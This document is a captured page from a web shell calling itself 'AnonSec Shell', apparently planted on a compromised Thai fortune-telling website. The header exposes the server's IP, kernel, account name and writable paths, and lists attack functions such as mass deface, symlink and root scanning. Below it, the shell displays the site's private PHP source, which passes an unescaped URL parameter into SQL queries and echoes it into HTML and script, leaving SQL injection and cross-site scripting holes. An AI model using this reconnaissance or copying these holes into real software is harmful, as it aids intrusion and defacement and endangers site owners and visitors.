AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/simded.com/seamsi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/simded.com/seamsi/predict_220561.php
<?php 
include('../include/class.php');
include('../include/sql_injection_get.php');

$list = array('table'=>'seamsi','where'=>'name_en = "'.$_GET['name'].'" AND status = "1"');				  
$view = $view_db->view($list);
$row = $view_db->q($view);	

$og_title = 'เสี่ยงเซียมซี ' . $row['name'];
$img_t =  $row['image'];
$og_image = 'https://www.simded.com/redbag/seamsi/'.$img_t;
$og_image2 = 'https://www.simded.com/redbag/seamsi/'.$img_t;
?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
	<?php include('../include/meta.php');?>
    <?php include('../include/cssfile.php');?>
    <?php include('../loginfacebook/config_fb.php');?>	 
  </head>
<body>
<?php include('../themes/menu.php');?> 
<style>
.drop_se{border-radius:20px;border:1px solid #ffff00;height:38px;
-webkit-appearance: none;
-moz-appearance: none;
padding-left:45px;
appearance: none;
background: url("../images/icon_arrow.png") #ffff00 no-repeat 98.5% !important; /* !important used for overriding all other customisations */
background: url("../images/icon_arrow.png") #ffff00 no-repeat calc(7% - 10px) !important; /* Better placement regardless of input width */
background-color:#ffff00;
}
.div_seamsi_fm{background-image:url(../images/bg_seamsi.jpg); background-repeat:no-repeat;max-width:948px;margin:0 auto;height:211px;margin-top:20px;}
@media (max-width: 768px)
{
	.div_seamsi_fm{ padding-left:100px; }
}
@media (max-width: 736px)
{
	.drop_se{ margin-bottom:15px;}
}


.Bgfooter{ margin-top:-35px;}

.text_reading{background-color:#ffff00;border-radius:20px;max-width:500px;text-align:center;font-size:18px;padding-top:15px;padding-bottom:15px;margin-top:45px;"}
.Dloading{background-color:#FFC;padding:10px;position:absolute;z-index:99;border-radius:10px;margin-top:200px;margin-left:0px;}
</style>

<div class="container">
      <div class="row">
        <div class="col-md-12">
        	<div style="margin-top:0px;">
                <div class="row">
                  <div class="col-md-6"><div class="HeadText" style="text-align:left;width:100%;margin-bottom:10px;" > เสี่ยงเซียมซี </div></div>
                  <div class="col-md-6 hidden-xs  hidden-sm " style="font-size:16px;color:#F00;margin-top:15px;text-align:right;">ทำนายฟรี > 
                  	<a href="../seamsi/" style="color:#F00;">เสี่ยงทายเซียมซี </a> >
                    <a href="../seamsi/predict.php?name=<?php echo $_GET['name']; ?>" style="color:#F00;"><?php echo $row['name'] ?> </a>
                  
                  </div>
                </div>
            </div>
            <div class="row">
              <div class="col-md-12" align="center" style="font-size:40px;font-weight:bold;"> <?php echo $row['name']; ?></div>
            </div>
        </div>
  </div><!--/row-->
</div><!--/.container-->
    
    
 <div style="background-image:url(../redbag/seamsi/<?php echo $row['bg_image']?>);background-position:top center;background-repeat:repeat-x;background-color:#FFF;margin-top:20px;">
 	<div class="container" style="max-width:1000px;">
         <div class="" style="border:0px solid  #F00;">
         <div class="" align="center">
         	<div class="text_reading">
             ตั้งจิตอธิษฐาน นึกถึงเรื่องที่อยากถาม แล้วกดปุ่มเสี่ยงทาย
            </div>
          
           <div style="border:0px solid #0F0;max-width:370px;margin-top:60px;height:450px;" id="DIV_seamsi">
           
           		<div id="Dloading"  style="background-color:#FFC;padding:10px;position:absolute;z-index:99;border-radius:10px;margin-top:200px;display:none;margin-left:-85px;">กรุณารอคำทำนาย สักครู่...</div>
                <div style="position:absolute;padding-top:90px;">
                	<img id="logo_seamsi" src="../images/logo_seamsi.png" width="364" height="361" class="img-responsive"/>
                </div>
                <?php
				$fortune = 'cc.png';
				$fortune_gif = 'cd.gif';
                if($row['id'] == '15')
				{
					$fortune = 'cookie.png';
					$fortune_gif = 'cookie.gif';
				}
				 if($row['id'] == '16')
				{
					$fortune = 'wunneeginarrai.png';
					$fortune_gif = 'wunneeginarrai.gif';
				}
				?>
                
                
                <div align="center" style="position:absolute;">
                	<img  id="shake"  src="../images/<?php echo $fortune ?>" width="380" height="450"  class="img-responsive"/>
                    <img  id="shake_gif" src="../images/<?php echo $fortune_gif ?>" width="380" height="450"  class="img-responsive" style="display:none;"/>
                </div>
                <div  style="position:absolute;margin-left:110px;margin-top:260px;cursor:pointer;border:0px solid #F00;" onclick="loading_seamsi()"> 
                	<img src="../images/btn_reading.png" width="143" height="143"/ title="กดเสี่ยงทายเซียมซี" id="loading_seamsi">
                </div>
              
                
           	</div>
         </div>
        </div>
        
          
        
         <div style="border:#00F solid 0px;margin-top:40px;">
             <?php include('../themes/google_ad.php');?>
         </div>
         
         <div style="margin-top:50px;margin-bottom:30px;">
         	<?php echo $row['detail']?>
         </div>
         
         
         
     </div>
 </div>


<?php 
include('../themes/contact_btn2.php');
?>
<style>
.drop_se{border-radius:20px;border:1px solid #ffff00;height:38px;
-webkit-appearance: none;
-moz-appearance: none;
padding-left:45px;
appearance: none;
background: url("../images/icon_arrow.png") #ffff00 no-repeat 98.5% !important; /* !important used for overriding all other customisations */
background: url("../images/icon_arrow.png") #ffff00 no-repeat calc(7% - 10px) !important; /* Better placement regardless of input width */
background-color:#ffff00;
font-size:20px;font-weight:bold;margin-top:-8px;
}
.div_seamsi_fm{background-image:url(../images/bg_seamsi.jpg); background-repeat:no-repeat;max-width:948px;margin:0 auto;height:211px;margin-top:20px;}
.ad_seamsi{border:0px solid #F00;max-width:750px;margin-top:30px;}
@media (max-width: 768px)
{
	.div_seamsi_fm{ padding-left:100px; }
}
@media (max-width: 736px)
{
	.drop_se{ margin-bottom:15px;}
}
.div_measure{border:2px solid #d7d7d7;max-width:286px;height:286px;border-radius:10px;background-color:#FFF;margin-bottom:20px;margin:0 auto;margin-top:40px;}
.div_measure:hover{border:2px solid #FF0000;}
.div_measure_img{border-bottom:8px solid #F00;} 
.div_measure_img2{border-bottom:8px solid #92278f;} 
.div_measure_name{font-size:18px;font-weight:bold;margin-top:15px;}
@media (max-width: 768px)
{
	.div_measure{ height:260px;}
}
.Bgfooter{ margin-top:-35px;}


</style>
<div class="container">
   <div class="row"> <div class="col-md-12" align="center" style="font-size:40px;font-weight:bold;margin-top:15px;"> เลือกเซียมซีจากวัดดัง </div> </div>
</div>
<div style="background-image:url(../images/bgmap.jpg);background-repeat:no-repeat;background-color:#FFF;margin-top:20px;">
 	<div class="container" style="max-width:1000px;">
         <div class="row" style="margin-top:25px;">
         
        <?php
		$max_rows = 12; // แสดงจำนวนแถวต่อหน้า
		$page_number = 0;
		if(isset($_GET['page_number']))
		{
			 $page_number = $_GET['page_number'];
		}
		
		$sql_s = 'status = "1" AND type = 1 ';
		$all_array =  array('table'=>'seamsi','where'=>$sql_s);
		$start_row = $page_number * $max_rows; 
		$all_sql = $view_db->view($all_array);
		$all_result = $view_db->q_re($all_sql);	
		$total_rows = $view_db->q_nr($all_result);
		$total_rows_num = mysql_num_rows($all_result);
		$total_pages = ceil($total_rows/$max_rows)-1;
		////////////////////////////////////////
		$list = array('table'=>'seamsi','where'=>$sql_s, 'limit'=> "$start_row,$max_rows",'order'=> "ORDER BY id DESC");				  
		$view = $view_db->view($list);
		$result = $view_db->q_re($view);
		$num_tr = 1;
		$num = 1+($page_number*$max_rows);
		?>
        <div class="row" align="right" style="margin-top:30px;">
            <div class="col-md-12 BerDedToday-page">
            <?php
            if($total_rows_num > 0)
            {
                 page_news($page_number,$total_pages,'predict.php','&name='.$_GET['name']);
            }
            ?>
          </div>
        </div>
        <?php
		while($row_se = $view_db->q_ro($result))
		{
			 ?>
           	 <div class="col-md-4 col-xs-6 col-sm-6 Divmeasure">
            	<div class="div_measure "> 
                    <div style="padding:25px;" align="center">
           	    		<a href="predict.php?name=<?php echo $row_se['name_en'];?>">
                        <img src="../redbag/seamsi/<?php echo $row_se['image']?>" width="227" height="173" class="div_measure_img img-responsive"></a>
                        <?php
						$css_text = '';
						if(strlen($row_se['name']) > 70){ $css_text = 'style="font-size:14px;"';}
						?>
                        <div class="div_measure_name" <?php echo $css_text; ?>>
                        	<?php echo $row_se['name']?>
                        </div>
                        
                    </div>
                </div>
          	 </div>
             <?php
		 }
		 ?>
        </div>
        <div class="row" align="right" style="margin-top:30px;">
            <div class="col-md-12 BerDedToday-page">
            <?php
            if($total_rows_num > 0)
            {
                 page_news($page_number,$total_pages,'predict.php','&name='.$_GET['name']);
            }
            ?>
          </div>
        </div>
        
        
    </div>
 
 
 </div>

<?php
include('../themes/footer.php');
include('../include/footer_js.php');
?>   
<?php
$list2 = array('table'=>'seamsi_detail','where'=>'seamsi_id = "'.$row['id'].'" order by RAND() LIMIT 1 ');				  
$view2 = $view_db->view($list2);
$row2 = $view_db->q($view2);


	$bg_1 ='bg_1.jpg';
	if( $row['bg_image'] <> '')
	{$bg_1 = $row['bg_image'];
		$bg_2 = $row['bg_image'];
	 }
	
	$bg_pp ='bg_pp.jpg';
	if( $row['bg_pp'] <> '')
	{$bg_pp = $row['bg_pp']; }
	
	
	$SourceFile = '../redbag/seamsi/'.$bg_pp; //รูปที่ต้องการใส่วอเตอร์มาร์ค
    $DestinationFile = 'number/'.$row['name_en'].'_'.$row2['id'].'.jpg'; //ไฟล์รูปภาพที่จะจัดเก็บ

if( file_exists($SourceFile.$DestinationFile) )
{

}
else
{ 

	$text_description = strip_tags($row2['detail']);

	
	include("mark.inc.php"); //นำเข้าไฟล์ฟังก์ชั่น
	
	$WaterMarkText = 'เซียมซีใบที่ '.$row2['number']; //ข้อความที่จะใส่
	$text_description = strip_tags($text_description);
	$WaterMarkText2 = $util_class->sub_str_2($text_description,'400'); //ข้อความที่จะใส่
	
	$WaterMarkTextn  = $row['name'];
	 
	watermarkImage ($SourceFile, $WaterMarkText , $WaterMarkTextn , $WaterMarkText2, $DestinationFile);
		
	
}


	
?>
<script>
$(window).load(function() { // better to use $(document).ready(function(){
    $('#loading_seamsi').on('click touchstart', function() {
		
        document.getElementById("Dloading").style.display = "inline";
		document.getElementById("shake_gif").style.display = "inline";
		document.getElementById("shake").style.display = "none";
		setTimeout(function(){ window.location.href = "reading.php?name=<?php echo $_GET['name'];?>&num=<?php echo $row2['id']?>"; }, 3000);
		
    });
});

document.getElementById("DIV_seamsi").addEventListener("mouseover", mouseover_shake);
document.getElementById("DIV_seamsi").addEventListener("mouseout", mouseout_shake);

function mouseover_shake()
{
	//document.getElementById("shake").src = "../images/cd.gif";
	document.getElementById("shake_gif").style.display = "inline";
	document.getElementById("shake").style.display = "none";
	  //$( "#shake" ).effect( "shake" );
	
}
function mouseout_shake()
{
	//document.getElementById("shake").src = "../images/cc.png";
	document.getElementById("shake_gif").style.display = "none";
	document.getElementById("shake").style.display = "inline";
}
function loading_seamsi()
{
	//document.getElementById("shake").src = "../images/cd.gif";
	
	//alert('dsfdsf');
	//document.getElementById("Dloading").style.display = "inline";
	//document.getElementById("shake_gif").style.display = "inline";
	//document.getElementById("shake").style.display = "none";
	
	//setTimeout(function(){ 5000 , window.location.href = "reading.php?name=<?php //echo $_GET['name'];?>&num=<?php //echo $row2['id']?>"; });
}
</script>
 

Anon7 - 2022
AnonSec Team